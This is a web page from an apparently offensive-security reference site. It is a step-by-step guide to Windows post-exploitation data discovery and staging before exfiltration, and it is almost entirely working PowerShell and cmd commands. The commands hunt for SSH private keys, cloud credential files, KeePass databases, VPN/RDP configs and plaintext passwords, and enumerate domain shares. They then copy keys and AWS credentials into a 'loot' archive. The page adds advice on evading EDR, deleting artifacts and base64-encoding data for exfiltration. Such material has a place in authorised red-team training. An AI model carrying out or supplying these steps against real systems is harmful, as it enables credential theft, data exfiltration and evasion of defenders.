Skip to content
HackIndex.io

Windows Data Discovery and Staging

5 min read Created Apr 4, 2026 Last updated Jul 14, 2026

Before transferring data out of a target environment, identify what is worth taking and stage it efficiently. Broad searches are slow and noisy: focus on high-value locations first, then compress and package before any transfer attempt. Prioritise these locations before running any broad recursive search:

  • SSH keys for pivoting to other hosts without a password

  • Cloud credential files (.aws, .azure, .gcloud) with wide IAM permissions

  • KeePass databases (.kdbx) containing full credential stores

  • VPN and RDP configs revealing hosts not visible from your current position

Target these first, then expand to broader file searches.

High-value file locations

PS C:\Users\Guest\Desktop> # User desktops and documents
PS C:\Users\Guest\Desktop> Get-ChildItem C:\Users\*\Desktop\ -Recurse -ErrorAction SilentlyContinue
PS C:\Users\Guest\Desktop> Get-ChildItem C:\Users\*\Documents\ -Recurse -ErrorAction SilentlyContinue
 
PS C:\Users\Guest\Desktop> # SSH keys
PS C:\Users\Guest\Desktop> Get-ChildItem C:\Users\*\.ssh\ -ErrorAction SilentlyContinue
 
PS C:\Users\Guest\Desktop> # AWS and cloud credentials
PS C:\Users\Guest\Desktop> Get-ChildItem C:\Users\*\.aws\ -ErrorAction SilentlyContinue
PS C:\Users\Guest\Desktop> Get-ChildItem C:\Users\*\.azure\ -ErrorAction SilentlyContinue
PS C:\Users\Guest\Desktop> Get-ChildItem C:\Users\*\.gcloud\ -ErrorAction SilentlyContinue
 
PS C:\Users\Guest\Desktop> # KeePass databases
PS C:\Users\Guest\Desktop> Get-ChildItem C:\ -Recurse -Filter *.kdbx -ErrorAction SilentlyContinue
 
PS C:\Users\Guest\Desktop> # VPN and remote access configs
PS C:\Users\Guest\Desktop> Get-ChildItem C:\ -Recurse -Include *.ovpn,*.rdp,*.pcf -ErrorAction SilentlyContinue
 
PS C:\Users\Guest\Desktop> # Database files
PS C:\Users\Guest\Desktop> Get-ChildItem C:\ -Recurse -Include *.mdb,*.accdb,*.sqlite,*.db -ErrorAction SilentlyContinue | Where-Object {$_.Length -gt 0}

Searching file content for credentials

Content-based searches read more files from disk than path-based searches. They are noisier and slower, but they catch credentials stored in unexpected file types. The Select-String output shows the path, line number, and matching line. Check the Line column for the actual credential value rather than just confirming the pattern matched. Recently modified files reveal what was actively written during the engagement window. Use findstr on large directory trees: it runs faster than Get-ChildItem with Select-String on filesystems with many files. If EDR flags file reads, copy the target directory to a temp location and search the copy. Web application config files under C:\inetpub are especially valuable: they routinely contain database connection strings with plaintext credentials.

PS C:\Users\Guest\Desktop> # Search for password strings in common file types
PS C:\Users\Guest\Desktop> Get-ChildItem C:\Users -Recurse -Include *.txt,*.xml,*.ini,*.ps1,*.bat,*.config,*.json -ErrorAction SilentlyContinue | Select-String -Pattern 'password|passwd|pwd|secret|token|apikey|connectionstring' -CaseSensitive:$false | Select-Object Path, LineNumber, Line
 
PS C:\Users\Guest\Desktop> # findstr equivalent (faster on large filesystems)
PS C:\Users\Guest\Desktop> findstr /s /i /m "password" C:\inetpub\*.config
PS C:\Users\Guest\Desktop> findstr /s /i /m "connectionString" C:\inetpub\*.config
 
PS C:\Users\Guest\Desktop> # Recently modified files (last 7 days)
PS C:\Users\Guest\Desktop> Get-ChildItem C:\Users -Recurse -ErrorAction SilentlyContinue | Where-Object {$_.LastWriteTime -gt (Get-Date).AddDays(-7) -and -not $_.PSIsContainer} | Select-Object FullName, LastWriteTime, Length | Sort-Object LastWriteTime -Descending | Select-Object -First 50

ShareFinder: network share enumeration

In domain environments, shares on other hosts often contain scripts, deployment files, and sensitive documents. PowerView's ShareFinder maps all accessible shares across the domain. SYSVOL and NETLOGON are always worth checking manually: Group Policy scripts frequently hardcode credentials and UNC paths to deployment resources. Look for non-default share names such as IT, Backup, Deploy, or Files. Those shares rarely have strict access controls applied. Find-DomainShare connects to every reachable host and generates significant network noise: use it early in an engagement or accept the detection risk. If PowerView is unavailable or blocked, use the manual net view approach for targeted checks against specific hosts.

PS C:\Users\Guest\Desktop> # PowerView ShareFinder
PS C:\Users\Guest\Desktop> Find-DomainShare -CheckShareAccess
 
PS C:\Users\Guest\Desktop> # Find interesting files on accessible shares
PS C:\Users\Guest\Desktop> Find-InterestingDomainShareFile -Include *.ps1,*.bat,*.txt,*.config,*.xml
 
PS C:\Users\Guest\Desktop> # Manual share check on specific host
PS C:\Users\Guest\Desktop> net view \\$TARGET_IP /all
PS C:\Users\Guest\Desktop> Get-ChildItem \\$TARGET_IP\SYSVOL -Recurse -ErrorAction SilentlyContinue
PS C:\Users\Guest\Desktop> Get-ChildItem \\$TARGET_IP\NETLOGON -Recurse -ErrorAction SilentlyContinue

Staging and compressing

Collect target files into a staging directory, then compress into a single archive. Smaller archives transfer faster and generate fewer network events than many individual file transfers. Use C:\Windows\Temp or C:\ProgramData as staging locations: both are writable by low-privilege users by default. Avoid staging inside user profile directories. Those paths are frequently monitored by EDR and included in backup jobs, which increases the chance of detection and data leakage to backup systems. Check the archive size before starting any transfer. Compress-Archive produces standard ZIP format, which any modern Windows host can open without additional tools installed.

PS C:\Users\Guest\Desktop> # Create staging directory
PS C:\Users\Guest\Desktop> New-Item -Path C:\Windows\Temp\loot -ItemType Directory -Force
 
PS C:\Users\Guest\Desktop> # Copy files to staging area
PS C:\Users\Guest\Desktop> Copy-Item C:\Users\*\Desktop\*.* C:\Windows\Temp\loot\ -ErrorAction SilentlyContinue
PS C:\Users\Guest\Desktop> Copy-Item C:\Users\*\.ssh\id_rsa C:\Windows\Temp\loot\ -ErrorAction SilentlyContinue
PS C:\Users\Guest\Desktop> Copy-Item C:\Users\*\.aws\credentials C:\Windows\Temp\loot\ -ErrorAction SilentlyContinue
 
PS C:\Users\Guest\Desktop> # Compress staging directory
PS C:\Users\Guest\Desktop> Compress-Archive -Path C:\Windows\Temp\loot\ -DestinationPath C:\Windows\Temp\loot.zip -Force
 
PS C:\Users\Guest\Desktop> # Check archive size
PS C:\Users\Guest\Desktop> (Get-Item C:\Windows\Temp\loot.zip).Length / 1MB

For large archives consider splitting into parts: Compress-Archive does not support split archives natively but 7-Zip does if available on the target. Keep individual transfer sizes under 50MB where possible to reduce the chance of incomplete transfers and connection timeouts. When 7-Zip is not present, transfer files from the staging directory one at a time using your existing exfiltration channel. Delete the staging directory and archive immediately after a successful transfer. File creation events in monitored paths get logged: removing artifacts quickly reduces the detection window. If Compress-Archive is blocked by endpoint controls, certutil -encode produces a base64-encoded copy suitable for text-based exfiltration channels.